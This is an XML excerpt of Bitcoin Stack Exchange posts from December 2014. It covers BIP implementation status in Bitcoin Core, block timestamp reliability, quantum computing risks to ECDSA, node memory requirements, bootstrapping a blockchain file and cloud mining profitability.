  <row Id="34204" PostTypeId="1" AcceptedAnswerId="34209" CreationDate="2014-12-28T16:51:27.627" Score="1" ViewCount="165" Body="&lt;p&gt;Which BIPs are already implemented by &lt;code&gt;bitcoin-core&lt;/code&gt; and which are scheduled to be supported by the client in the scheduled releases? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found these questions to be relevant:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19546/where-can-i-find-out-which-bip-bitcoin-improvement-proposal-are-going-to-be-im&quot;&gt;Where can I find out which BIP (bitcoin improvement proposal) are going to be implemented or not?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18851/what-bips-are-supported-by-the-standard-client-bitcoin-qt-0-8-6&quot;&gt;What BIPs are supported by the standard client Bitcoin Core?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but still didn't manage to get an answer to that question. &lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-12-28T19:48:28.163" Title="Is there a BIPs roadmap somewhere?" Tags="|bitcoin-core|bitcoin-core-development|bip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34205" PostTypeId="1" CreationDate="2014-12-28T17:36:07.743" Score="1" ViewCount="390" Body="&lt;p&gt;In using the blockchain to timestamp the hash of a document, so to prove that it existed before a certain time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it reliable? Do you think it can stand on court? (IANAL and probably you neither) What is the worst that can happen? For example, What if many nodes change their internal clocks to hack the median of the time.&lt;/p&gt;&#xA;" OwnerUserId="21671" LastActivityDate="2014-12-28T18:55:09.657" Title="Is the block timestamp reliable enough to timestamp the hash of a document?" Tags="|blockchain|block|timestamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34206" PostTypeId="1" AcceptedAnswerId="34208" CreationDate="2014-12-28T18:08:46.457" Score="0" ViewCount="29" Body="&lt;p&gt;I am wondering if there is a system that support bitcoin contracts like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I made a deposit to a wallet - this wallet takes 10% of the BTC and transfer it automatically to another wallet.&lt;/p&gt;&#xA;" OwnerUserId="21672" LastActivityDate="2014-12-28T19:38:49.533" Title="Is there a system that support job contracts?" Tags="|contracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34207" PostTypeId="2" ParentId="34205" CreationDate="2014-12-28T18:12:30.467" Score="2" Body="&lt;p&gt;A hard fork, which is essentially a blockchain split, would result in the current blockchain to be declared as deprecated and worst of all; not verifiable in the future by the new/upgraded software which will abide by different rules and will not be able to accept pre-fork blocks and their transactions as valid, so if the above scenario would come in life then you would need to legally prove that some contract existed a few years ago in a blockchain that is now deprecated and off-line, whose value would not be much different than this of digitally signed plain-old text document. As a consequence, to prove that smart contract which was associated with a certain tx in the old-chain was signed before a certain time would be even more difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also important the precision of time you're after. If a few seconds or even few minutes could invalidate your claim then this will not work for you as geographically distant nodes will receive blocks at different micro-times, as it happens with all large-scale p2p networks.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-12-28T18:55:09.657" LastActivityDate="2014-12-28T18:55:09.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34208" PostTypeId="2" ParentId="34206" CreationDate="2014-12-28T19:38:49.533" Score="0" Body="&lt;p&gt;You could use a payment API similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#payments_summary&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#payments_summary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives you a new address for which any deposit will be automatically transferred to another address of your choice. I'm sure they could implement the 10% fee transferred to a separate wallet very easily.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-12-28T19:38:49.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34209" PostTypeId="2" ParentId="34204" CreationDate="2014-12-28T19:48:28.163" Score="2" Body="&lt;p&gt;All the BIPs that have been written up are listed on the BIPs Github project along with their status:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/README.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/README.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's rarely a clear plan as to when they're going to incorporated into bitcoin-core and the corresponding schedule. In open source projects, features get incorporated when someone gets around implementing them and the review process is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to follow implementation is to follow the development mailing list and Github pull requests (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pulls&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pulls&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-12-28T19:48:28.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34210" PostTypeId="2" ParentId="34202" CreationDate="2014-12-28T20:01:33.007" Score="1" Body="&lt;p&gt;Sure. The miner decides what the payout transaction looks like. It can be paid to any address using any valid type of transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's specifically checked by the network on coinbase transactions is the absence of output reference in the input, the coinbase position in the block (first) and the reward amount. The output script can be any standard script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a matter of fact, rewards used to be paid as pay-to-pubkey transactions. Nowadays, most pools have transitioned to using pay-to-pubkey-hash transactions.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-12-28T20:01:33.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34211" PostTypeId="2" ParentId="34201" CreationDate="2014-12-28T20:15:28.860" Score="1" Body="&lt;p&gt;The main ways in which Bitcoin uses crypto algorithms are the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hashing (2 x SHA256) of the block header for proof of work.&lt;/li&gt;&#xA;&lt;li&gt;Hashing (SHA256 + RIPE160) of the public key to obtain an address (followed by base58 encoding but that's not crypto per se)&lt;/li&gt;&#xA;&lt;li&gt;ECDSA to generate and validate signatures, allowing you spend an output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The 2 first ways don't use ECDSA and so are not exposed to quantum computing attacks (assuming no mathematical breakthrough in prime factoring).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ECDSA signatures on the other hand may be breakable using quantum computing. So given an ECDSA public key and a quantum computer, one may be able to discover the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, public keys are only embedded in inputs when spending an output. The output itself only includes the hash of the public key, which is safe (one would need to break both ECDSA and hashing to recover the public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to summarize, if a quantum computer was to be invented and assuming it could break the ECDSA asymetric encryption, the attacker could acquire all Bitcoins on addresses that have been reused (as the public key is known). Bitcoin addresses that have only been used once and proof of work should be safe. Same applies to proof of stake.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-12-28T20:15:28.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34212" PostTypeId="1" AcceptedAnswerId="34214" CreationDate="2014-12-28T20:50:48.637" Score="3" ViewCount="996" Body="&lt;p&gt;How much memory (RAM) does a Bitcoin node use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am planning on running a Bitcoin full-node on a RasPi Model A+. It only has 256MB of RAM, so I'm not sure if this will work. Most of the threads on here and bitcointalk are very old, and I'm not sure if the memory requirements are greater now.&lt;/p&gt;&#xA;" OwnerUserId="6277" LastEditorUserId="2306" LastEditDate="2017-04-25T19:54:55.937" LastActivityDate="2017-04-25T19:54:55.937" Title="How much memory (RAM) does a Bitcoin node use?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34213" PostTypeId="2" ParentId="18851" CreationDate="2014-12-28T21:06:16.763" Score="13" Body="&lt;p&gt;The concept of 'accepted' is pretty fuzzy, as it depends on what a BIP affects. Some things are wallet-only, or only affect the protocol, or are optional to implement for different implementations. When BIPs affect the consensus rules of the protocol (the rules which determine which blocks are valid), the whole network needs to adopt them in lockstep, though (true for &lt;code&gt;BIP 16&lt;/code&gt;, &lt;code&gt;BIP 30&lt;/code&gt;, &lt;code&gt;BIP 34&lt;/code&gt;, &lt;code&gt;BIP 62&lt;/code&gt;, &lt;code&gt;BIP 65&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, BIPs are just proposals, and different pieces of software are free to implement them or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of BIPs implemented in Bitcoin Core v0.13.0 (see &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/bips.md&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; for an up-to-date list):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0009.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 9&lt;/code&gt;&lt;/a&gt;: The changes allowing multiple soft-forks to be deployed in parallel have been implemented since &lt;strong&gt;v0.12.1&lt;/strong&gt;  (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7575&quot; rel=&quot;nofollow&quot;&gt;PR #7575&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0011.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 11&lt;/code&gt;&lt;/a&gt;: Multisig outputs are standard since &lt;strong&gt;v0.6.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/669&quot; rel=&quot;nofollow&quot;&gt;PR #669&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0013.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 13&lt;/code&gt;&lt;/a&gt;: The address format for P2SH addresses has been implemented since &lt;strong&gt;v0.6.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/669&quot; rel=&quot;nofollow&quot;&gt;PR #669&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0014.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 14&lt;/code&gt;&lt;/a&gt;: The subversion string is being used as User Agent since &lt;strong&gt;v0.6.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/669&quot; rel=&quot;nofollow&quot;&gt;PR #669&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 16&lt;/code&gt;&lt;/a&gt;: The pay-to-script-hash evaluation rules have been implemented since &lt;strong&gt;v0.6.0&lt;/strong&gt;, and took effect on &lt;em&gt;April 1st 2012&lt;/em&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/748&quot; rel=&quot;nofollow&quot;&gt;PR #748&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 21&lt;/code&gt;&lt;/a&gt;: The URI format for Bitcoin payments has been implemented since &lt;strong&gt;v0.6.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/176&quot; rel=&quot;nofollow&quot;&gt;PR #176&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0022.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 22&lt;/code&gt;&lt;/a&gt;: The 'getblocktemplate' (GBT) RPC protocol for mining has been implemented since &lt;strong&gt;v0.7.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/936&quot; rel=&quot;nofollow&quot;&gt;PR #936&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0023.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 23&lt;/code&gt;&lt;/a&gt;: Some extensions to GBT have been implemented since &lt;strong&gt;v0.10.0rc1&lt;/strong&gt;, including longpolling and block proposals (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1816&quot; rel=&quot;nofollow&quot;&gt;PR #1816&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 30&lt;/code&gt;&lt;/a&gt;: The evaluation rules to forbid creating new transactions with the same txid as previous not-fully-spent transactions were implemented since &lt;strong&gt;v0.6.0&lt;/strong&gt;, and the rule took effect on &lt;em&gt;March 15th 2012&lt;/em&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/915&quot; rel=&quot;nofollow&quot;&gt;PR #915&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0031.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 31&lt;/code&gt;&lt;/a&gt;: The 'pong' protocol message (and the protocol version bump to 60001) has been implemented since &lt;strong&gt;v0.6.1&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1081&quot; rel=&quot;nofollow&quot;&gt;PR #1081&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 32&lt;/code&gt;&lt;/a&gt;: Hierarchical Deterministic Wallets has been implemented since &lt;strong&gt;v0.13.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/8035&quot; rel=&quot;nofollow&quot;&gt;PR #8035&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 34&lt;/code&gt;&lt;/a&gt;: The rule that requires blocks to contain their height (number) in the coinbase input, and the introduction of version 2 blocks has been implemented since &lt;strong&gt;v0.7.0&lt;/strong&gt;. The rule took effect for version 2 blocks as of &lt;em&gt;block 224413&lt;/em&gt; (March 5th 2013), and version 1 blocks are no longer allowed since &lt;em&gt;block 227931&lt;/em&gt; (March 25th 2013) (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1526&quot; rel=&quot;nofollow&quot;&gt;PR #1526&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0035.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 35&lt;/code&gt;&lt;/a&gt;: The 'mempool' protocol message (and the protocol version bump to 60002) has been implemented since &lt;strong&gt;v0.7.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1641&quot; rel=&quot;nofollow&quot;&gt;PR #1641&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0037.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 37&lt;/code&gt;&lt;/a&gt;: The bloom filtering for transaction relaying, partial merkle trees for blocks, and the protocol version bump to 70001 (enabling low-bandwidth SPV clients) has been implemented since &lt;strong&gt;v0.8.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1795&quot; rel=&quot;nofollow&quot;&gt;PR #1795&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0042.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 42&lt;/code&gt;&lt;/a&gt;: The bug that would have caused the subsidy schedule to resume after block 13440000 was fixed in &lt;strong&gt;v0.9.2&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3842&quot; rel=&quot;nofollow&quot;&gt;PR #3842&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0061.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 61&lt;/code&gt;&lt;/a&gt;: The 'reject' protocol message (and the protocol version bump to 70002) was added in &lt;strong&gt;v0.9.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3185&quot; rel=&quot;nofollow&quot;&gt;PR #3185&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 65&lt;/code&gt;&lt;/a&gt;: The CHECKLOCKTIMEVERIFY softfork was merged in &lt;strong&gt;v0.12.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6351&quot; rel=&quot;nofollow&quot;&gt;PR #6351&lt;/a&gt;), and backported to &lt;strong&gt;v0.11.2&lt;/strong&gt; and &lt;strong&gt;v0.10.4&lt;/strong&gt;. Mempool-only CLTV was added in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6124&quot; rel=&quot;nofollow&quot;&gt;PR #6124&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 66&lt;/code&gt;&lt;/a&gt;: The strict DER rules and associated version 3 blocks have been implemented since &lt;strong&gt;v0.10.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/5713&quot; rel=&quot;nofollow&quot;&gt;PR #5713&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0068.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 68&lt;/code&gt;&lt;/a&gt;: Sequence locks have been implemented as of &lt;strong&gt;v0.12.1&lt;/strong&gt;  (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7184&quot; rel=&quot;nofollow&quot;&gt;PR #7184&lt;/a&gt;), and have been activated since &lt;em&gt;block 419328&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 70&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0071.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;71&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0072.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;72&lt;/code&gt;&lt;/a&gt;: Payment Protocol support has been available in Bitcoin Core GUI since &lt;strong&gt;v0.9.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/5216&quot; rel=&quot;nofollow&quot;&gt;PR #5216&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0111.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 111&lt;/code&gt;&lt;/a&gt;: &lt;code&gt;NODE_BLOOM&lt;/code&gt; service bit added, and enforced for all peer versions as of &lt;strong&gt;v0.13.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6579&quot; rel=&quot;nofollow&quot;&gt;PR #6579&lt;/a&gt; and &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6641&quot; rel=&quot;nofollow&quot;&gt;PR #6641&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0112.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 112&lt;/code&gt;&lt;/a&gt;: The CHECKSEQUENCEVERIFY opcode has been implemented since &lt;strong&gt;v0.12.1&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7524&quot; rel=&quot;nofollow&quot;&gt;PR #7524&lt;/a&gt;) and has been activated since &lt;em&gt;block 419328&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0113.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 113&lt;/code&gt;&lt;/a&gt;: Median time past lock-time calculations have been implemented since &lt;strong&gt;v0.12.1&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6566&quot; rel=&quot;nofollow&quot;&gt;PR #6566&lt;/a&gt;) and have been activated since &lt;em&gt;block 419328&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0125.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 125&lt;/code&gt;&lt;/a&gt;: Opt-in full replace-by-fee signaling honoured in mempool and mining as of &lt;strong&gt;v0.12.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6871&quot; rel=&quot;nofollow&quot;&gt;PR 6871&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0130.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 130&lt;/code&gt;&lt;/a&gt;: direct headers announcement is negotiated with peer versions &lt;code&gt;&amp;gt;=70012&lt;/code&gt; as of &lt;strong&gt;v0.12.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6494&quot; rel=&quot;nofollow&quot;&gt;PR 6494&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0133.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 133&lt;/code&gt;&lt;/a&gt;: feefilter messages are respected and sent for peer versions &lt;code&gt;&amp;gt;=70013&lt;/code&gt; as of &lt;strong&gt;v0.13.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7542&quot; rel=&quot;nofollow&quot;&gt;PR 7542&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0152.mediawiki&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BIP 152&lt;/code&gt;&lt;/a&gt;: Compact block transfer and related optimizations are used as of &lt;strong&gt;v0.13.0&lt;/strong&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/8068&quot; rel=&quot;nofollow&quot;&gt;PR 8068&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-08-24T16:06:53.527" LastActivityDate="2016-08-24T16:06:53.527" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34214" PostTypeId="2" ParentId="34212" CreationDate="2014-12-28T21:30:40.750" Score="2" Body="&lt;p&gt;In addition to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24434/minimal-system-to-run-a-full-bitcoin-node-netbook-raspberry-pi-etc/24435#24435&quot;&gt;my answer&lt;/a&gt; to the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24434/minimal-system-to-run-a-full-bitcoin-node-netbook-raspberry-pi-etc/&quot;&gt;Minimal system to run a full Bitcoin node: Netbook? Raspberry Pi? etc&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just restarted my full node and waited for it to receive a new block, which revealed that 256MB of RAM will not be enough for running a full node without &lt;a href=&quot;http://en.wikipedia.org/wiki/Paging&quot; rel=&quot;nofollow noreferrer&quot;&gt;memory paging/swapping&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jN3d7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I would suggest you opt for &lt;a href=&quot;http://www.raspberrypi.org/products/model-b-plus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RasPi Model B+&lt;/a&gt; which comes with double the RAM of its A+ predecessor or you can equip your A+ with a flash storage but you should expect degraded performance in this case. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-12-28T21:30:40.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34215" PostTypeId="2" ParentId="34044" CreationDate="2014-12-29T04:28:11.803" Score="2" Body="&lt;p&gt;Find your local blockchain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/.bitcoin/blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, to bootstrap testnet, find your local testnet blockchain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/.bitcoin/testnet3/blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Concatenate all your &lt;code&gt;blkxxxxx.dat&lt;/code&gt; files and place the result in &lt;code&gt;bootstrap.dat&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat blk* &amp;gt; bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; Using &lt;code&gt;tar -cf&lt;/code&gt; (as instructed by &lt;a href=&quot;https://bitcoin.stackexchange.com/a/34053/18611&quot;&gt;this answer&lt;/a&gt;) did not work for me.  I'm importing from bitcoind into &lt;a href=&quot;https://github.com/conformal/btcd&quot; rel=&quot;nofollow noreferrer&quot;&gt;btcd&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18611" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-12-29T05:22:12.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34216" PostTypeId="2" ParentId="21541" CreationDate="2014-12-29T09:40:22.803" Score="4" Body="&lt;p&gt;You're supposed to run a 2nd daemon and let that one connect to the first one&lt;/p&gt;&#xA;" OwnerUserId="15209" LastEditorUserId="2306" LastEditDate="2014-12-29T21:43:54.447" LastActivityDate="2014-12-29T21:43:54.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34217" PostTypeId="2" ParentId="24429" CreationDate="2014-12-29T09:43:12.363" Score="1" Body="&lt;p&gt;maybe this will help? &lt;a href=&quot;https://bitcoin.org/en/developer-guide#hierarchical-deterministic-key-creation&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#hierarchical-deterministic-key-creation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or check the various BIP32 implementations (bitcore for example)&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-12-29T09:43:12.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34219" PostTypeId="1" CreationDate="2014-12-29T14:40:08.807" Score="6" ViewCount="1509" Body="&lt;p&gt;I think I'm missing something. There are a bunch of cloud hashing companies that lease hashing power. Let's take cointellect for example. They have contracts from 10 days to 24 months. If I buy a 10 mH/s of hashing power from this company for 99 euros, they guarantee a minimum of 2.2 euro daily return which makes 180 euros in return for my initial investment of 99 euros in the 3 month contract. How is this profitable for both me and the company? What's the math behind this?&lt;/p&gt;&#xA;" OwnerUserId="9901" LastEditorUserId="5406" LastEditDate="2016-03-09T15:25:55.203" LastActivityDate="2017-04-10T12:02:45.277" Title="How do cloud hashing companies profit? (leasing hashing power)" Tags="|mining-profitability|cloud-mining|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
